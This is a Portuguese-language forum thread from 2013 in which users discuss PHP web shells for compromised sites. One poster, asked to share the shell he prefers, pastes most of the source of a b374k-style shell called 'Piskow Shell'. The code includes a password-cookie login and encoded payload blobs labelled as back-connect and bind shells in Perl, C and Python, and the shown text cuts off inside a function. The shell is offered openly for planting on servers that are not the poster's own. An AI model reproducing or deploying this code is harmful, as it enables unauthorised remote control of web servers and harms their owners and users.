Unconfigured Ad Widget

**PoisonedApple** · 16-02-2013, 15:43

É possível sim, por FTP, SSH, etc. Pra shell funcionar o servidor precisa ter suporte ao PHP (99% tem).

**warrior of midgard** · 16-02-2013, 16:37

Valeu cara. Mais só mais uma dúvida. Uma shell funciona em todos os sites com php, ou dependendo do site tenho que usar shells especificas?

**PoisonedApple** · 17-02-2013, 17:37

Postado Originalmente por warrior of midgard Ver Post

Valeu cara. Mais só mais uma dúvida. Uma shell funciona em todos os sites com php, ou dependendo do site tenho que usar shells especificas?

Se o firewall do servidor for bom e atualizado ele vai bloquear algumas shells, as mais antigas como a c99, quando você for acessar vai dar 404 ou 403 (not found ou forbidden). Eu uso a Psikow, umas das mais recentes.

**warrior of midgard** · 17-02-2013, 20:02

Postado Originalmente por PoisonedApple Ver Post

Se o firewall do servidor for bom e atualizado ele vai bloquear algumas shells, as mais antigas como a c99, quando você for acessar vai dar 404 ou 403 (not found ou forbidden). Eu uso a Psikow, umas das mais recentes.

Valeu mano.

**matheuscs1** · 28-02-2013, 04:20

Postado Originalmente por PoisonedApple Ver Post

Se o firewall do servidor for bom e atualizado ele vai bloquear algumas shells, as mais antigas como a c99, quando você for acessar vai dar 404 ou 403 (not found ou forbidden). Eu uso a Psikow, umas das mais recentes.

Poderia posta-la aqui?

**PoisonedApple** · 06-03-2013, 19:26

<?php
error_reporting(0);
@set_time_limit(0);
$s_name = "Piskow Shell";
$s_ver = "v 1.0";
$s_title = $s_name." ".$s_ver;
$s_pass = "SUA SENHA EM MD5";
$s_auth = false;

if(strlen(trim($s_pass))>0){
if(isset($_COOKIE['b374k'])){
if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
}

if(isset($_REQUEST['login'])){
$login = strtolower(trim($_REQUEST['login']));
if(strtolower(trim($s_pass)) == md5($login)){
setcookie("b374k",md5($login),time() + 3600*24*7);
$m = $_SERVER['PHP_SELF'];
header("Location: ".$m);
die();
}
else{
setcookie("b374k",$login,time() - 3600*24*7);
$m = $_SERVER['PHP_SELF'];
header("Location: ".$m); die();
}
}
}

else $s_auth = true;
$xback_pl ="dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0va LmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lg oa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+K duw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6J ZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn 6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0=";
$xbind_pl ="bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilm whAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg 8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+o uvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x 14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWz Er16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY 5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJ YNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI=";
$xback_c = "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqK E9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb 0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr 4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1v cZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B";
$xbind_c = "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKp kSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA 11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg 6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZ iz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXul hx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcS puCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmD lxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw==";
$xmulti_py = "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSi zqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ 3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHD FDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQn CHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj4 2m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWj wAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7 CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQ ZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX 636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG";
$wmulti_c = "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";
$favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAA B/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9 iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbX AMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBK mFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuy b3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+Dv WhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjU zpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrS UqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegN VwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YE Q6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB 731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wO YSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSost M1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmq MCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6e iApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
$style = "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2 xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0 qpNBBw15oGkX1yX0vcMX4Of2FS1nh1W+qCBZ49agY5juUSy5Ve lcUxQ69orsKMzF2Hdlnh2pMCBP7NK5P6N74Dir5EmRSEaoChQk 7NCmKQvPL4ssjI7pMozD8bAOVFHc2Laqw2jORhj5A91HTkw4wZ 3uRclpocAFpcuWONymjFgAR2+jA0N8OjjR7YjrQCoumkKpKkZI aa/oliJJ18p3Q/VdX520TGBvhFoDqcPXvNj/uk8efrkRCc6mwZlKkQgpqLNfGEROFbAcYDQJpxyZqJGcEXTy4O rawPENO2J3IvnXedMbbCfzD+wbpjoOSsn2p03hjLj1TpVmOucO/YoTwPrM9PuMVWj8b2ibVWLiPvZtMcmLtreGHYcyp1h0aTY1zV2 kvWCoOy4IdeEYGlK405K6szZWKofaC2maQtJfGhEHoP34wZ/c+Qpey/jBIljpws9CAm1HhaSktM7CmZGvOrdTezmzUD2sm6oN+6eRSK1n VuvtAnzHPJaHLbPUpw56OQSWZ1FpWsAuSB3PmE2/Wei6BdlmjPinYIK4hkphWoJjsoNtZvFEtD+bMlHERIuAGlhLbp 0/nVHdXJ9lAmYbQzIyVq3NksDED8yqKQ+jLeOz7gDNBg1tTQct6H KT03ZQM3QQBF51SzLoZNdKs7m4aLakzujfHGja0yg7izFpEWFN zfHYF+/nue7ibDoo2B96x9o+7as7RwOVsZECo+qm7pG6nCIwxkIMFu2e0 NpxPSDDSLWuzCpDGGb8iisj46LOGF0h7K4/cPt7J1lWze1spMEi5ssQvUbXYbMPFMm7hilfGatTJ38AwTkK30 8IJtLk5AAiLwWTebie4mMhXSxw4BvZ+bw+Qmb3G6LFgU0IAra5 R34Pl4MsyBrf45ub0Gzxc6ZLBa95BSoX2ns3MuqirOmfy9B96I 5ruU4uHF3sf2HKx8E/OW14nyj7e1dIfHNX8GZrfu45u7xTgt5BSmzE0lynwtr1MuV62S wqMwVLyvJeqXdwDu9dPfwE=";
$sortable_js = "3VrvctvGEf/OpzixqkiGJCg6SWciilIsW5lo6jidWtN8oGjNAThSsECAAY6i1 VgznT5GP7Zf+xTJm/RJurv3BwcQpKU07WQ6Y0vA3f753e7e7t5BdzxjubzIL87ZmA0+ +TIIrtNk78tPBjMe52LUyNNMSu7HAqZ/aLAoieQRm62SQEZp0u7Q2Iy1eTZfLUQicy/gcSyEF6aJ6LBMyFWWjBqsdh5EymwFSkjEtYwWIuuwIBY8u0iky O54bEZHTBHthWlAgrwgE1yK81jgG/vwgRVTcyH1eH52f8nnr/nCxWKX5L18fnl+/Uda+dv2VXgVnnYmV4Mrrz+tvNFr55R+7g9AxizNznlw096ps90 iNa1Or7AYjVizKRhBzPMcGbwclg5SB1c+gsTJK3/QYXtj1h92HOALfiveaAotEkA90I9eA2zlEhzt1r4F+Y3gYavjx SKZyxs2HrND4oNxMFe9FyzXiOg8vlyKJHxxE8Wh1pWl63xyOCU CGoiSXGTyTIA9YSE3oqeGZ1GWS2KkJblw5degAvEkqzjusNIge 8SKQP1oQx4BM2sFaw9tuLDBgAU8aUkWpEvB1hEQyHXKUJjIGPK hvfEVni2EQiro8wIRx7mKGta+gx0XjQ9HLDrWXFoxjHS71jl7e nISTZ0AWXBZxAepuk5SfMY4AV6Em99GS7B/lAPkGEIBOADXY8W1J7z/58P+F9NuB2VqW6EQFJ/eiSyLQowBHJoMpyPjHtJzcMDk/VKksyJYJ018vG52De8UvdcyMdmiFTvoCij4ZMhA4Q6JGCRMQMJ 6sixvvhJ5fgmYVTz0Ih1xtVLAoKtFEiWheA9CotEWMumn4X0RC 2dpGIlcBV4oeHLNw/D8DjdMwd1rBnEU3DadVOFsVHDm1ixRrE+Ebrb4wc10mQBT5UJJ qgBV29XVgNDLKjOxjHkAu6iqsQXpZmPwWqtrWdGZWICzVCqoyZ ln9xdhVfZsHYKhW52OTtkgE953JJ98Cfu0TO1FyNAsC1ZTzQph kojs68tvXmFwqHp4yloHiZ8vj2cpVJgZLH/cXAsfUM3z5snnxwMcP2mxI003OvjN+2efn302aplVuwmw0IUQb TF6eKKHjWn/9562Tq3z+H/kaWWWwtPK84/1tKKu9bSaalYIn+rp323z9Pl2TytdVU9Lp0wg15JnsJ7XaSicl sIQeQFKw8ncSQpYSmxewBcvAQrMX5hVh7oE8ASyIRmrwYjIdXh 54DEOb5Gxf7YgI+BBtyj1Pn5cNtD1yLExrNjxbmHSUiS6PkEc9 QnlcWHqQNAbWkPQqWQHBJMAEMLGVuxCVWQbtvu/3BPp+ppnGccaOcGqCHXV7InaYqt48k0aSmvUZ7nt1Ttsr94dO0 0dvOreyuqe2CdNM0U0TmMg5AWa5VK8l23q5N7pTm4CyKbQ1OvB qQrtQhzKqOZft/9AE4CN/C3LqV9JCWqxHOmX7Fys7t0UmjO967DtiIUUBUZ7WlD/6MxgO6HqgaHHlCtspZmVWyjqxni8vOE1PW61B/JKXjEdrwQjl9sy1/q1MqiTNe4AdFOzMUkWlMZWq2igYMg0u2/7p5Of/vrjP/Z/+vu//vK3H/85PZ1chT1v2v3t6T710CZnV1eYwL7LokBZbZnmeQj7D31YCN84 WnaUfkNN0ulwA3yQJ3IBB107qx2WiyClrb5J8MwuUgk5YcNnOx CH4WJRtMaUtJTsj/AtFmFYaqm3Od0ocP45EmeJPY+67nTCC2uX6v95fpEsVxK3eFuf IHCy9ixXPT8cHDS2E7dbEQq2R1naexQTjhZ04QvIZ3iVgJGzgq QzixJIv3ii2bPoXJtVGW39G7y9yrsf4P/+YN5jtvRZH7iKI2OUp6m1bD9LqXyyPvlYVRgrcEaGkyD51jYnJ DHgQPHpkTK/nabeQaav0rXIXgBFu0P+1V6rIrnj8Up8DAop+uyozIk//vRRbh+q6u1IixgemQd8oqRm/YX5pZTuYAQTHjtW6orubfN4b4V0t6a8igxIdnptekmPiwCzGnA zX8WysAhhd5O/7vXc1E8nBsSbiLWuvlSsNzK8rcEbK9WcE/3bKbQFEyxNYXHklun7Q5B4Qsr6fV31kNstfEaTtZOueHrcJiI3 kzuL5T2fBHNu8u5Xccplm1O1MRaevD3sf+H1p2DgljquYCRH0L 69bnMOtYPYD9HwflmOv1MOcwX5Pggi/kN7fADBfd/XiyjKbc0C6DIWlI3HqNJcY5EoM3VcmgHjWi1DVwPm9hoF+jqJD LOt6IGYe3ND9Ol0xBbm5Rm8hM7dkb45cm4Z4QSD1K3DVnehp8P ydKinsUKFcghv990FvWlo/q8E2jMHGhHL4XgMwxtOgYljd3yrS7Au/0IuCd11L35VLvkvQvtFXQJOueG3IqPe3nFLHOUSW+bF8hrHyEW Y1syWxmesH0hnwPZJKs7ka74sPoysIbmJNo6p5ltN6m8zmDFt7 fFV7ZEj1u1GNhUUMAgWXjQy9dCFZhP6wENm8X2vMWFCNg92qDu 0g/AIw9+PGhWsqpzIfl/bcE/BNjXIBSsR7Ali7vcfA7aPYI8fDbZfgO3vBOt3u/qZNR4a5HhzvDZ3tK9AjEjwwxRo3jrbbr789hvdCL5KeSjCZs8p 7fjZrKfcBuGuNA2+E/7vIzmIoLvKoeDzu2jOZZp5q1xkz+cgyF7oJ9FsppatPodhI47N gv5Gtvk5bhAThg9oUCyDA6XDwgeXhPdvJJ5IKteHiLTd0Z894p i+96QJioMePQljkemmgQ0PaSlrOKCna0/TjCuiRg176V6++dbXUz36XNAzsu0C9HS9F7ZNtkuyCns7Bxn1Z UURePv781UUdlj5He9YXKgeDlKcELNRLnAOOuXyO34lfdA7WYv FsTLRBHGadGbQ5PoctJPHiHdMNGmmSZN1yY7TkgzIuYWYEpmNf 0taNgHy6ZFRo1aCJSATkTzAtWk3oBs6MaDuw54UAQ5LEQQ7Jrc GgRsCFafB4afO2mrLqz6ybr5qNWPWB2fFjpXaxGszmKomdCIp0 hKRoNfu9FftWfReMbfVjVK6hjW+1PsYCWg0rAx09CXkd7Q5cVR t047C39mMUBKjF0e/PBMpzgknSlgpWolpf99ZYxE4uq+3HzdKZMYU47EuZs45z1jEFL nStYJDMirZ2dqpMLJaxjKj3y/VCQjlasrKjDG+l8t0+YcsXXLIxupjoeWoTBUtgVC7AAHVS0cpp Sytv5XULNgVUoNlU0rAk0DEZytf/ZWGiiRVY/ae06Wh/rRALKURVyDdC/aYH6fBLbYvCR761YVVzRm3fBtpznvETH/i0dYCeoqSanmkX8zFI6L8SqsHe6UyxZirw5b670Qgd4O7FfcYo Iq0uPlT9x7qc4tRMQFa+grdtDcgza34lUBi6aESM9JxtvsbmUX JvA55TjO1yEue0IRevoyhADeb7t+MBDeQx+gefCvIggTaDpJk/iAE0KF1nmZUtJxjSJWu8jS+wwD7liaoRdD3Ci4DoMglRiRY3Th X724jwAyXryYVu7XhNjFlsnYFfOmD28btl0aIjldGalaQKT/u4HUOF81ktfBFVhXx3Fyv20GLdYvBTfX8Nw==";

function swd($p){
$ps = explode(DIRECTORY_SEPARATOR,$p);
$pu = "";

for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
$pz = "";
for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR; $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
return trim($pu);
}

function rp($t){
